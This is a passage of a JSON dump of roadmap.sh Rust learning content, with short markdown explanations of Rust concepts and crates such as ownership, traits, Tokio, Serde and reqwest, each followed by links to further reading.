    "content": "# Ownership Rules and Memory Safety\n\nRust's ownership has three key rules: each value has exactly one owner, only one owner exists at a time, and values are dropped when owners go out of scope. This prevents data races, ensures memory safety without garbage collection, and eliminates common bugs like use-after-free and memory leaks.\n\nVisit the following resources to learn more:\n\n- [@official@What is Ownership?](https://doc.rust-lang.org/book/ch04-01-what-is-ownership.html)\n- [@article@Rust Ownership & Borrowing - Memory Safety Without Garbage](https://webreference.com/rust/ownership/)\n- [@article@What Is Ownership?](https://rust-book.cs.brown.edu/ch04-01-what-is-ownership.html)"
  },
  {
    "path": "src/data/roadmaps/rust/content/pattern-matching--destructuring@yqp3UePmSlGyOYpxITis4.md",
    "content": "# Pattern Matching and Destructuring\n\nIn Rust, \"pattern matching\" is a robust tool that allows you to destructure data types and perform conditional checks in a succinct and clear way. The main structures used for pattern matching are `match` and `if let`. The `match` keyword can be used to compare a value against a series of patterns and then execute code based on which pattern matches. Patterns can be made up of literal values, variable names, wildcards, and many other things. The `if let` structure allows you to combine `if` and `let` into a less verbose way of handling values that match one specific pattern, rather than a series of patterns. It's basically a nice syntax sugar over a `match` statement.\n\nVisit the following resources to learn more:\n\n- [@official@Patterns and Matching](https://doc.rust-lang.org/book/ch19-00-patterns.html)\n- [@official@Destructuring](https://doc.rust-lang.org/rust-by-example/flow_control/match/destructuring.html)\n- [@official@Matching](https://doc.rust-lang.org/rust-by-example/flow_control/match.html)\n- [@article@Control Flow with if let](https://rust-book.cs.brown.edu/ch06-03-if-let.html)"
  },
  {
    "path": "src/data/roadmaps/rust/content/performance-and-profiling@WduD9VIcYSs_JTnuMNyxk.md",
    "content": "# Performance and Profiling\n\nPerformance profiling in Rust identifies bottlenecks using tools like `perf`, `cargo bench`, `criterion`, and `flamegraph`. These tools collect statistical data about runtime performance, helping developers optimize code efficiently by targeting actual problem areas rather than guessing.\n\nVisit the following resources to learn more:\n\n- [@article@Profiling - The Rust Performance Book](https://nnethercote.github.io/perf-book/profiling.html)\n- [@article@How to benchmark Rust code with Criterion](https://bencher.dev/learn/benchmarking/rust/criterion/)\n- [@article@Optimizing Rust Application Performance with Profiling](https://hemaks.org/posts/optimizing-rust-application-performance-with-profiling/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/procedural-macros--custom-derive@bkVM1OIbv4XUpY6FQb8x_.md",
    "content": "# Procedural Macros and Custom Derive\n\nProcedural macros operate on token streams at compile time, generating new code. Three types exist: custom derive (for `#[derive(MyTrait)]`), attribute-like (`#[my_attr]`), and function-like (`my_macro!()`). More powerful than declarative macros but require separate crates with special configuration.\n\nVisit the following resources to learn more:\n\n- [@official@Procedural Macros](https://doc.rust-lang.org/reference/procedural-macros.html)\n- [@article@Understanding Procedural Macros and Custom Derive](https://www.gyata.ai/rust/procedural-macros-and-custom-derive)"
  },
  {
    "path": "src/data/roadmaps/rust/content/propagating-errors-and--operator@pTC1ucmErVnMbNFnYLJK7.md",
    "content": "# Propagating Errors and ? Operator\n\nThe `?` operator provides concise error propagation in functions returning `Result` or `Option`. It automatically unwraps `Ok`/`Some` values or early-returns `Err`/`None` to the caller. This eliminates verbose `match` expressions and enables clean, readable error handling patterns.\n\nVisit the following resources to learn more:\n\n- [@official@Recoverable Errors with Result](https://doc.rust-lang.org/book/ch09-02-recoverable-errors-with-result.html)\n- [@article@Understanding Result, Option, and '?' Operators in Rust](https://howtorust.com/understanding-result-option-and-operators-in-rust/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/publishing-on-cratesio@Op0-bdMV3kE9Be6Ot1aC6.md",
    "content": "# Publishing on crates.io\n\nPublishing Rust crates involves creating an account on [crates.io](http://crates.io), preparing proper `Cargo.toml` metadata, and using `cargo publish`. Once published, versions cannot be deleted or overwritten, ensuring dependency stability. The registry serves as Rust's central package repository for sharing libraries.\n\nVisit the following resources to learn more:\n\n- [@official@The Cargo Book: Publishing](https://doc.rust-lang.org/cargo/reference/publishing.html)\n- [@article@From Zero to Hero: Your First Rust Crate](https://medium.com/rust-programming-language/from-zero-to-hero-your-first-rust-crate-6f2c084df464)"
  },
  {
    "path": "src/data/roadmaps/rust/content/queue@fq2NMV-QV9ayJl82ZWzov.md",
    "content": "# Queue\n\nQueue follows FIFO (First-In-First-Out) ordering where elements are added at one end and removed from the other. Rust doesn't have a built-in queue, but `VecDeque` provides queue functionality with `push_back()` for adding and `pop_front()` for removing elements efficiently.\n\nVisit the following resources to learn more:\n\n- [@official@VecDeque in std::collections](https://doc.rust-lang.org/std/collections/struct.VecDeque.html)\n- [@official@Queues](https://docs.rs/queues/latest/queues/)\n- [@article@Working with Queues in Rust](https://basillica.medium.com/working-with-queues-in-rust-5a5afe82da46)"
  },
  {
    "path": "src/data/roadmaps/rust/content/quinn@qi1pmsY8bPk8nbHiBIGha.md",
    "content": "# quinn\n\n`Quinn` is a high-performance QUIC protocol implementation for Rust built on Tokio. QUIC is a modern transport protocol offering better performance than TCP with multiplexing and security. Quinn provides async, futures-based API supporting both client and server roles for networking applications.\n\nVisit the following resources to learn more:\n\n- [@official@Quinn — Rust Network Library](https://lib.rs/crates/quinn)\n- [@opensource@quinn-rs/quinn: Async-friendly QUIC implementation in Rust](https://github.com/quinn-rs/quinn)\n- [@article@Quinn](https://docs.rs/quinn/latest/quinn/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/rc@U9Bd-GO0QwYVLvESR4PTb.md",
    "content": "# Rc\n\n`Rc<T>` (Reference Counting) enables multiple owners of the same heap-allocated data in single-threaded contexts. It tracks the number of references and automatically deallocates data when the count reaches zero. Use `Rc::clone()` to create additional references without deep copying data.\n\nVisit the following resources to learn more:\n\n- [@official@rct - The Reference Counted Smart Pointer](https://doc.rust-lang.org/book/ch15-04-rc.html#rct-the-reference-counted-smart-pointer)"
  },
  {
    "path": "src/data/roadmaps/rust/content/relm@QbdGnUoTLgMHO1NCQINIi.md",
    "content": "# Relm\n\n`relm` is a declarative, event-driven GUI framework for Rust built on `gtk-rs` and GTK+3. Uses Model-View-Update architecture with async Futures for complex UI interactions. Features widget identification by name, seamless inter-widget communication, and leverages Rust's safe concurrency for dynamic desktop applications.\n\nVisit the following resources to learn more:\n\n- [@official@Relm](https://relm4.org/)\n- [@official@Relm Documentation](https://relm4.org/book/stable/)\n- [@article@Relm, a GUI library, based on GTK+ and futures, written in Rust](https://relm.antoyo.xyz/relm-intro/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/reqwest@TtajUXZpyNx9AmdUawm-8.md",
    "content": "# reqwest\n\n`reqwest` is a popular HTTP client library for Rust that provides both sync and async APIs for making HTTP requests. Built on `hyper` and `tokio`, it supports JSON, forms, cookies, and various authentication methods with an ergonomic, easy-to-use interface for web API interactions.\n\nVisit the following resources to learn more:\n\n- [@article@Making HTTP requests in Rust with Reqwest](https://blog.logrocket.com/making-http-requests-rust-reqwest/)\n- [@article@Exploring Reqwest in Rust](https://medium.com/@chetanreddyk394/exploring-reqwest-in-rust-b91c548e69af)\n- [@article@Reqwest Documentation](https://docs.rs/reqwest/latest/reqwest/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/ring@w8nxQDxmfoUHkFV66TKiq.md",
    "content": "# ring\n\n`ring` is a safe, fast cryptography library for Rust focused on TLS and core cryptographic primitives. It includes RSA, AES, SHA, and other algorithms with compile-time and runtime safety checks. Restricts usage to safe, reviewed algorithms to prevent common cryptographic pitfalls and insecure implementations.\n\nVisit the following resources to learn more:\n\n- [@opensource@briansmith/ring](https://github.com/briansmith/ring)\n- [@article@Ring](https://docs.rs/ring/latest/ring/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/rocket@ApjwY_70OGG_dNIC85oBD.md",
    "content": "# Rocket\n\nRocket is a web framework for Rust emphasizing ease of use, expressiveness, and type safety. It features code generation via procedural macros, built-in templating, request guards, and comprehensive error handling. Rocket prioritizes developer productivity with intuitive APIs and detailed error messages.\n\nVisit the following resources to learn more:\n\n- [@official@Rocket - Simple, Fast, Type-Safe Web Framework for Rust](https://rocket.rs/)\n- [@article@Getting Started with Rocket in Rust](https://www.shuttle.dev/blog/2023/12/13/using-rocket-rust)"
  },
  {
    "path": "src/data/roadmaps/rust/content/rppal@L01rVq2_H4rWzlKygW5kA.md",
    "content": "# rppal\n\n`RPPAL` (Raspberry Pi Peripheral Access Library) provides Rust access to Raspberry Pi GPIO, I2C, PWM, SPI, and UART peripherals. Features comprehensive interrupt handling, software-based PWM, and I2C/SPI buses. Supports all Raspberry Pi models running Raspbian/Debian Stretch or newer.\n\nVisit the following resources to learn more:\n\n- [@official@RPPAL Documentation](https://docs.golemparts.com/rppal/0.11.1/rppal/)\n- [@opensource@golemparts/rppal](https://github.com/golemparts/rppal)\n- [@article@RPPAL — Embedded dev in Rust](https://lib.rs/crates/rppal)"
  },
  {
    "path": "src/data/roadmaps/rust/content/rusqlite@a2MLN7f-FvsgdmvP9ixlv.md",
    "content": "# rusqlite\n\n`rusqlite` is an ergonomic SQLite library for Rust built around the sqlite3 C library. It provides simple, efficient database operations with minimal SQL knowledge required. Features seamless `serde` integration for type-safe bidirectional mapping between SQL and Rust data structures.\n\nVisit the following resources to learn more:\n\n- [@opensource@rusqlite/rusqlite](https://github.com/rusqlite/rusqlite)\n- [@article@Rusqlite](https://docs.rs/rusqlite/latest/rusqlite/)\n- [@article@Rust | Sqlite Database](https://medium.com/@mikecode/rust-sqlite-database-rusqlite-162bad63fb5d)"
  },
  {
    "path": "src/data/roadmaps/rust/content/rust-crypto@f68x7r-qzaQfrzXnjOI2q.md",
    "content": "# rust-crypto\n\n`rust-crypto` is a collection of cryptographic algorithms implemented in pure Rust including AES, DES ciphers, SHA, MD5 hash functions, and RSA digital signatures. Known for speed and low memory usage, making it suitable for resource-constrained systems requiring cryptographic functionality.\n\nVisit the following resources to learn more:\n\n- [@article@Awesome Rust Cryptography](https://cryptography.rs/)\n- [@article@rust-crypto](https://docs.rs/rust-crypto/latest/crypto/)\n- [@article@Rust | Sqlite Database](https://medium.com/@mikecode/rust-sqlite-database-rusqlite-162bad63fb5d)"
  },
  {
    "path": "src/data/roadmaps/rust/content/rust-gdb@UkHXsAolmbk-MsJFfqObC.md",
    "content": "# rust-gdb\n\n`rust-gdb` is GDB (GNU Project debugger) enhanced for Rust debugging. It provides low-level debugging capabilities including breakpoints, execution tracing, runtime modification, and memory inspection. Designed for command-line debugging with deep system integration for comprehensive Rust application analysis.\n\nVisit the following resources to learn more:\n\n- [@official@Use rust-gdb and rust-lldb for Improved Debugging](https://users.rust-lang.org/t/use-rust-gdb-and-rust-lldb-for-improved-debugging-you-already-have-them/756)\n- [@article@Debugging Rust apps with GDB](https://blog.logrocket.com/debugging-rust-apps-with-gdb/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/rust-lldb@p1w1iljGABgHoJjIRJYLY.md",
    "content": "# rust-lldb\n\n`rust-lldb` is LLDB debugger enhanced with Rust-specific modifications for understanding Rust data structures and concepts. It includes pretty-printers for standard library types and comes bundled with the Rust compiler, providing better debugging experience for Rust applications.\n\nVisit the following resources to learn more:\n\n- [@official@Using rust-lldb for Improved Debugging](https://users.rust-lang.org/t/use-rust-gdb-and-rust-lldb-for-improved-debugging-you-already-have-them/756)\n- [@article@Debugging Rust apps with GDB](https://blog.logrocket.com/debugging-rust-apps-with-gdb/)\n- [@article@Debugging Rust with rust-lldb](https://dev.to/bmatcuk/debugging-rust-with-rust-lldb-j1f)"
  },
  {
    "path": "src/data/roadmaps/rust/content/rust-repl-rust-playground@eYCNYtwXBjZwcPUe7QYZ-.md",
    "content": "# Rust REPL (Rust Playground)\n\n`Rust REPL` (Read-Eval-Print-Loop) is an interactive shell in which you can write and test Rust snippets in real-time. Unlike running a program normally in Rust where you have to manually compile and then run the program, REPL automatically evaluates your inputs, and the result is returned immediately after execution. This is helpful when experimenting with Rust code, learning the language, and debugging. REPL isn't built into Rust directly, but is available via third-party tools such as `evcxr_repl`.\n\nVisit the following resources to learn more:\n\n- [@official@Rust Playground](https://play.rust-lang.org/)\n- [@article@Debugging Rust apps with GDB](https://blog.logrocket.com/debugging-rust-apps-with-gdb/)\n- [@article@Debugging Rust with rust-lldb](https://dev.to/bmatcuk/debugging-rust-with-rust-lldb-j1f)\n- [@article@Interactive Rust in a REPL and Jupyter Notebook](https://depth-first.com/articles/2020/09/21/interactive-rust-in-a-repl-and-jupyter-notebook-with-evcxr/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/rwlock@WzGl4DkANjUu7VC1AIWI-.md",
    "content": "# RwLock\n\n`RwLock<T>` (Read-Write Lock) allows multiple concurrent readers OR one exclusive writer, unlike Mutex which allows only one accessor. Use `read()` for shared access and `write()` for exclusive access. Ideal for read-heavy workloads where data is frequently read but rarely modified.\n\nVisit the following resources to learn more:\n\n- [@official@RwLock](https://doc.rust-lang.org/std/sync/struct.RwLock.html)\n- [@article@Rust Read-Write Locks: Managing Concurrent Read and Write Access](https://medium.com/@TechSavvyScribe/rust-read-write-locks-managing-concurrent-read-and-write-access-a6ab689bbed3)"
  },
  {
    "path": "src/data/roadmaps/rust/content/serde@EHErECEYws05oi59OsZpC.md",
    "content": "# Serde\n\nSerde is Rust's most popular serialization framework for converting data structures to/from formats like JSON, YAML, TOML, and Binary. It provides `Serialize` and `Deserialize` traits with derive macros for automatic implementation. Offers high performance with customizable behavior for complex use cases.\n\nVisit the following resources to learn more:\n\n- [@official@Serde](https://serde.rs/)\n- [@article@Serde Documentation](https://docs.rs/serde/latest/serde/)\n- [@article@Serialization in Rust with Serde](https://rustmeup.com/serialization-in-rust-with-serde)"
  },
  {
    "path": "src/data/roadmaps/rust/content/serialization--deserialization@gcmKSLWfBqx4aPZOmyQsg.md",
    "content": "# Serialization/Deserialization\n\nSerialization converts Rust data structures into bytes for storage or transmission, while deserialization reverses the process. _Serde_ is the standard framework with support for JSON, YAML, TOML, Binary, and more formats. Provides efficient, type-safe data conversion.\n\nVisit the following resources to learn more:\n\n- [@article@Serde Documentation](https://docs.rs/serde/latest/serde/)\n- [@article@Serialization and Deserialization in Rust: A Comprehensive Guide](https://rustmeup.com/serialization-in-rust-with-serde)\n- [@article@Rust Serialization: Easy Beginner's Guide with Examples](https://boxoflearn.com/rust-serialization-guide/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/smol@3C9gCBAq3OQVb583S72D4.md",
    "content": "# smol\n\n`smol` is a small, fast async runtime for Rust with minimal API and clean design. Built on async-std and Tokio, it supports async/await natively with efficient scheduling. Offers essential async functionality including timers, futures, and task management with superior performance in a lightweight package.\n\nVisit the following resources to learn more:\n\n- [@official@Smol - Gist of Rust](https://book.gist.rs/rust/r1/smol.html)\n- [@opensource@smol-rs/smol: A small and fast async runtime for Rust](https://github.com/smol-rs/smol)\n- [@article@Smol Documentation](https://docs.rs/smol/latest/smol/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/sodiumoxide@hzzRFb5cyXkgUdLZxaozB.md",
    "content": "# sodiumoxide\n\n`sodiumoxide` is a Rust binding to libsodium cryptography library, designed for easy use and misuse prevention. Provides safe, high-level, idiomatic Rust wrappers for cryptographic primitives with automatic error handling. Follows NaCl design principles for simplicity while offering libsodium performance benefits.\n\nVisit the following resources to learn more:\n\n- [@article@Rust Password Hashing with Argon2id and the Sodiumoxide](https://blue42.net/code/rust/examples/sodiumoxide-password-hashing/post/)\n- [@article@sodiumoxide/sodiumoxide](https://deepwiki.com/sodiumoxide/sodiumoxide)"
  },
  {
    "path": "src/data/roadmaps/rust/content/sqlx@r2KembNZ2WIzLe87EB91K.md",
    "content": "# sqlx\n\nSQLx is an async, pure-Rust SQL toolkit providing compile-time query checking for PostgreSQL, MySQL, SQLite, and MSSQL. It features macro-based query validation, strong typing, and compatibility with Tokio/async-std runtimes. SQLx eliminates runtime SQL errors through compile-time verification.\n\nVisit the following resources to learn more:\n\n- [@opensource@launchbadge/sqlx](https://github.com/launchbadge/sqlx)\n- [@article@sqlx Documentation](https://docs.rs/sqlx/latest/sqlx/)\n- [@article@Getting Started with SQLx and SQLite in Rust](https://medium.com/rustaceans/getting-started-with-sqlx-and-sqlite-in-rust-895ae7fc01ae)"
  },
  {
    "path": "src/data/roadmaps/rust/content/stack@B-S1hE-ofNTutnkc2hJBf.md",
    "content": "# Stack\n\nStack is a LIFO (Last-In-First-Out) data structure where elements are added and removed from the same end. In Rust, the call stack manages function calls, with each call pushing a frame and returns popping it. Stack memory is fast but limited in size, with stack overflow occurring when exceeded.\n\nVisit the following resources to learn more:\n\n- [@official@Box, Stack and Heap](https://doc.rust-lang.org/rust-by-example/std/box.html)\n- [@official@std::collections](https://doc.rust-lang.org/std/collections/index.html)\n- [@article@Getting Started with SQLx and SQLite in Rust](https://medium.com/rustaceans/getting-started-with-sqlx-and-sqlite-in-rust-895ae7fc01ae)"
  },
  {
    "path": "src/data/roadmaps/rust/content/string@Hu1jf46OpX44nam_UvYqc.md",
    "content": "# String\n\nRust's `String` is a growable, mutable, UTF-8 encoded string type stored on the heap. Unlike string slices (`&str`), `String` owns its data and can be modified. Create with `String::from(\"text\")` or `\"text\".to_string()`. Common operations include `push_str()`, `push()`, and concatenation with `+` or `format!()` macro.\n\nVisit the following resources to learn more:\n\n- [@official@String](https://doc.rust-lang.org/std/string/struct.String.html)\n- [@official@str](https://doc.rust-lang.org/std/primitive.str.html)\n- [@official@What as a String?](https://doc.rust-lang.org/book/ch08-02-strings.html?highlight=String#what-is-a-string)\n- [@article@Rust String (With Examples)](https://www.programiz.com/rust/string)\n- [@video@All Rust string types explained](https://www.youtube.com/watch?v=CpvzeyzgQdw&pp=ygUOc3RyaW5nIGluIHJ1c3Q%3D)"
  },
  {
    "path": "src/data/roadmaps/rust/content/structopt@_43912wPdXgLL8v-IMHX_.md",
    "content": "# StructOpt\n\n`StructOpt` is a library for parsing command-line arguments by defining structs where fields represent flags, options, and arguments. Combines `clap`'s parsing power with Rust's type system for declarative CLI definition with automatic help generation, strong typing, and validation.\n\nVisit the following resources to learn more:\n\n- [@official@Defining and Instantiating Structs](https://doc.rust-lang.org/book/ch05-01-defining-structs.html)\n- [@article@Parsing Command Line Args with StructOpt](https://www.tenderisthebyte.com/blog/2019/05/08/parsing-cli-args-with-structopt/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/structs@Mi9mQ-8gyDPd8Mbu1zuHt.md",
    "content": "# Structs\n\nIn Rust, a struct is a custom data type used for grouping related values together into one entity. Structs are similar to classes in other programming languages. Essentially, each `struct` creates a new type that we can use to streamline complex data handling.\n\nVisit the following resources to learn more:\n\n- [@official@Defining and Instantiating Structs](https://doc.rust-lang.org/book/ch05-01-defining-structs.html)\n- [@article@Understanding Structs in Rust: A Complete Guide with Examples](https://medium.com/@er.pwndhull07/understanding-structs-in-rust-a-complete-guide-with-examples-621bf9753b88)"
  },
  {
    "path": "src/data/roadmaps/rust/content/tauri@Q71MnFDQBkZF1c2hj13pU.md",
    "content": "# Tauri\n\nTauri is a framework for building lightweight, secure desktop applications using web technologies (HTML, CSS, JS) with a Rust backend. It offers smaller bundle sizes than Electron, enhanced security, and cross-platform support for Windows, macOS, and Linux with native system integration.\n\nVisit the following resources to learn more:\n\n- [@official@Tauri](https://tauri.app)\n- [@official@Tauri Guides](https://v1.tauri.app/v1/guides/)\n- [@article@How to Build Cross-Platform GUI Applications with Rust & Tauri](https://codezup.com/cross-platform-gui-apps-rust-tauri-guide/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/termion@YS0igALDqSanGDWva_vls.md",
    "content": "# Termion\n\n`termion` is a pure Rust, zero-dependency library for low-level terminal manipulation and information handling. Provides cross-terminal compatibility with features like color support, input handling, and terminal-specific capabilities. Ideal for building cross-platform CLI applications without external bindings.\n\nVisit the following resources to learn more:\n\n- [@official@Termion Documentation](https://docs.rs/termion/latest/termion/)\n- [@article@Implementing Terminal I/O in Rust | by Packt](https://packt.medium.com/implementing-terminal-i-o-in-rust-4a44652b0f11)\n- [@article@Making Terminal Applications in Rust with Termion](https://ticki.github.io/blog/making-terminal-applications-in-rust-with-termion/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/testing@08qKtgnhJ3tlb5JKfTDf5.md",
    "content": "# Testing\n\nRust has built-in testing support through `cargo test` and the `#[test]` attribute. Test functions use assertion macros like `assert!`, `assert_eq!`, and `assert_ne!` to verify expected behavior. Organize tests with unit tests, integration tests, and documentation tests for comprehensive coverage.\n\nVisit the following resources to learn more:\n\n- [@official@Writing Automated Tests](https://doc.rust-lang.org/book/ch11-01-writing-tests.html)\n- [@article@Testing in Rust: A Quick Guide to Unit Tests](https://dev.to/tramposo/testing-in-rust-a-quick-guide-to-unit-tests-integration-tests-and-benchmarks-2bah)\n- [@video@Mocking and Testing Rust](https://www.youtube.com/watch?v=8XaVlL3lObQ)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/rust/content/threads-channels-and-message-passing@pJN260pWQVO0gHxi1-_3U.md",
    "content": "# Threads, Channels, and Message Passing\n\nRust provides native threading with `std::thread::spawn()` and `join()` for 1:1 OS thread mapping. Channels enable safe message passing between threads, avoiding shared state issues. This model promotes concurrent programming without data races through Rust's ownership system.\n\nVisit the following resources to learn more:\n\n- [@official@std::thread](https://doc.rust-lang.org/std/thread/)\n- [@official@Using Message Passing to Transfer Data Between Threads](https://doc.rust-lang.org/book/ch16-02-message-passing.html)\n- [@article@Understanding Threads in Rust: A Comprehensive Guide](https://blog.stackademic.com/understanding-threads-in-rust-a-comprehensive-guide-7e2d23fb85b0)\n- [@article@Rust Atomics and Locks - Low-Level Concurrency in Practice](https://marabos.nl/atomics/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/tokio@H0mctp3Bj2OYfIGFDWGfz.md",
    "content": "# Tokio\n\nTokio is Rust's most popular async runtime for building fast, reliable network applications. It provides an async/await runtime, I/O drivers, timers, and networking primitives. Tokio enables high-performance concurrent applications by efficiently managing thousands of tasks on a small number of threads.\n\nVisit the following resources to learn more:\n\n- [@official@Tokio](https://tokio.rs/)\n- [@article@Tokio Docs](https://docs.rs/tokio/latest/tokio/)"
  },
  {
    "path": "src/data/roadmaps/rust/content/toml-rust@LmFog_qXrS9e5ARhV6OD_.md",
    "content": "# TOML Parsing\n\n`toml-rs` parses and serializes TOML (Tom's Obvious, Minimal Language) configuration files in Rust. Uses serde for automatic serialization/deserialization between TOML and Rust types. Leverages Rust's trait system and type inference to convert TOML documents into statically-typed Rust structures.\n\nVisit the following resources to learn more:\n\n- [@official@TOML](https://docs.rs/toml/latest/toml/)\n- [@article@@opensourcetoml-rs/toml-rs](https://github.com/toml-rs/toml-rs)"
  },
  {
    "path": "src/data/roadmaps/rust/content/trait-bounds-and-associated-types@pRDgDtRIVpNM2CdhSOS3Q.md",
    "content": "# Trait Bounds and Associated Types\n\nTrait bounds constrain generics by requiring types to implement specific traits (`T: Display`). Associated types define type placeholders within traits that implementors must specify. Together, they enable flexible generic programming with type safety and improved API design patterns.\n\nVisit the following resources to learn more:\n\n- [@official@Trait and Lifetime Bounds](https://doc.rust-lang.org/reference/trait-bounds.html)\n- [@article@Understanding Traits and Trait Bounds in Rust](https://leapcell.medium.com/understanding-traits-and-trait-bounds-in-rust-d575f19dd649)"
  },
  {
    "path": "src/data/roadmaps/rust/content/trait-definitions--implementations@_EicstELZcdesHiXFWJGu.md",
    "content": "# Trait Definitions and Implementations\n\nTraits define shared behavior as a set of method signatures that types can implement. Define with `trait Name { fn method(&self); }` and implement with `impl TraitName for Type`. Traits enable polymorphism, code reuse, and abstraction while maintaining type safety and zero-cost performance.\n\nVisit the following resources to learn more:\n\n- [@official@Traits](https://doc.rust-lang.org/rust-by-example/trait.html)\n- [@article@Understanding Traits and Trait Bounds in Rust](https://leapcell.medium.com/understanding-traits-and-trait-bounds-in-rust-d575f19dd649)"
  },
  {
    "path": "src/data/roadmaps/rust/content/traits--generics@zLKbYX0nnbfD5n3P_JRaS.md",
    "content": "# Traits and Generics\n\nTraits define shared behavior that types can implement, while generics enable code reuse with type parameters. Together, they provide trait bounds (`T: Display`) to constrain generic types, ensuring they have required functionality. This enables safe, zero-cost polymorphism and code abstraction.\n\nVisit the following resources to learn more:\n\n- [@official@Generic Types, Traits, and Lifetimes](https://doc.rust-lang.org/book/ch10-00-generics.html)"
  },
  {
    "path": "src/data/roadmaps/rust/content/traits@SJMuIEuHp8X6nfLb0k0TU.md",
    "content": "# Traits\n\nTraits in Rust define behaviors that are shared among different data types. Implementing traits for data types is a great way to group method signatures together and define a set of behaviors your types require. Essentially, anything with a certain `trait` applied to it will \"inherit\" the behavior of that trait's methods, but this is not the same thing as inheritance found in object-oriented programming languages.\n\nTraits are abstract; it's not possible to create instances of traits. However, we can define pointers of trait types, and these can hold any data type that implements the `trait`. A `trait` is **implemented** for something else with the syntax `impl TraitAbc for Xyz {...}`, which can be a concrete type or another trait.\n\nVisit the following resources to learn more:\n\n- [@article@Traits: Defining Shared Behaviour](https://doc.rust-lang.org/book/ch10-02-traits.html)\n- [@article@Understanding Traits and Trait Bounds in Rust](https://leapcell.medium.com/understanding-traits-and-trait-bounds-in-rust-d575f19dd649)"
  },
  {
    "path": "src/data/roadmaps/rust/content/tuple@81_J7CwtUUjYPvKV_prg3.md",
    "content": "# Tuple\n\nTuples are fixed-size collections that can hold elements of different types. Access elements using dot notation with zero-based indexing: `tuple.0`, `tuple.1`, etc. Example: `let data: (i32, f64, char) = (42, 3.14, 'x');`. Useful for grouping related values of different types and multiple variable assignments.\n\nVisit the following resources to learn more:\n\n- [@official@Tuple](https://doc.rust-lang.org/std/primitive.tuple.html)\n- [@article@The Tuple Type](https://rust-book.cs.brown.edu/ch03-02-data-types.html#the-tuple-type)\n- [@video@Rust Tutorial - Tuples](https://www.youtube.com/watch?v=t047Hseyj_k&t=506s)"
  },
  {
    "path": "src/data/roadmaps/rust/content/unit--integration-testing@w9coeW9-crDxu0KC-9gEU.md",
    "content": "# Unit and Integration Testing\n\nUnit tests verify individual functions using `#[test]` and live alongside code. Integration tests are in separate files/directories and test component interactions. Rust provides `cargo test` to run both types, supporting test organization for comprehensive code verification and quality assurance.\n\nVisit the following resources to learn more:\n\n- [@official@Unit Testing](https://doc.rust-lang.org/rust-by-example/testing/unit_testing.html)\n- [@official@How to Write Tests](https://doc.rust-lang.org/book/ch11-01-writing-tests.html)\n- [@article@Testing in Rust: A Quick Guide to Unit Tests](https://dev.to/tramposo/testing-in-rust-a-quick-guide-to-unit-tests-integration-tests-and-benchmarks-2bah)\n- [@video@Mocking and Testing Rust](https://www.youtube.com/watch?v=8XaVlL3lObQ)"
  },
  {
    "path": "src/data/roadmaps/rust/content/variables-datatypes-and-constants@Gw5E21W5zis-RUIgNSEV2.md",
    "content": "# Variables, Constants, and Data Types\n\nIn Rust, variables are declared using the `let` keyword. All variables are immutable by default, which means once a value is bound to a variable, it cannot be changed. If you want to make a variable mutable, the `mut` keyword is used. So, if you wanted to declare a mutable variable `x` and assign it the value `5`, you would write `let mut x = 5;`. Variables can also be patterned. By default in Rust, variables are block-scoped. Rust also supports several types of variable attributes.\n\nVisit the following resources to learn more:\n\n- [@official@Variables and Mutability](https://doc.rust-lang.org/book/ch03-01-variables-and-mutability.html)\n- [@official@Data Types](https://doc.rust-lang.org/book/ch03-02-data-types.html)\n- [@official@Constants](https://doc.rust-lang.org/rust-by-example/custom_types/constants.html)"
  },
  {
    "path": "src/data/roadmaps/rust/content/vector@PskCueCc9pSxfnSzfdX-u.md",
    "content": "# Vector\n\n`Vec<T>` is Rust's growable, heap-allocated array that stores elements of the same type contiguously. Unlike arrays, vectors can resize at runtime. Key methods include `push()` to add elements, `pop()` to remove the last element, and `len()` for size. Example: `let mut v = vec![1, 2, 3];`\n\nVisit the following resources to learn more:\n\n- [@official@Vector](https://doc.rust-lang.org/std/vec/struct.Vec.html)\n- [@official@Storing Lists of Values with Vectors](https://doc.rust-lang.org/book/ch08-01-vectors.html?highlight=vector#storing-lists-of-values-with-vectors)\n- [@article@Rust Vector (With Examples)](https://www.programiz.com/rust/vector)\n- [@video@Rust Vectors](https://www.youtube.com/watch?v=nOKOFYzvvHo&t=97s&pp=ygUMcnVzdCB2ZWN0b3Jz)\n- [@video@Common Collections in Rust](https://www.youtube.com/watch?v=Zs-pS-egQSs&t=39s&pp=ygUMcnVzdCB2ZWN0b3Jz)"
  },
  {
    "path": "src/data/roadmaps/rust/content/wasm-bindgen@SUtBBqqDeR_yAkr669ZvE.md",
    "content": "# wasm-bindgen\n\n`wasm-bindgen` facilitates high-level interactions between Rust and JavaScript in WebAssembly. It generates bindings allowing seamless communication, JavaScript API calls from Rust, and vice versa. Handles memory representations and call semantics for complex data types like strings and objects.\n\nVisit the following resources to learn more:\n\n- [@official@wasm-bindgen](https://docs.rs/wasm-bindgen/latest/wasm_bindgen/)\n- [@opensource@rustwasm/wasm-bindgen](https://github.com/rustwasm/wasm-bindgen)\n- [@article@Compiling from Rust to WebAssembly](https://developer.mozilla.org/en-US/docs/WebAssembly/Guides/Rust_to_Wasm)"
  },
  {
    "path": "src/data/roadmaps/rust/content/wasm-pack@TSlj7mMUB5CDTy8uMFzKV.md",
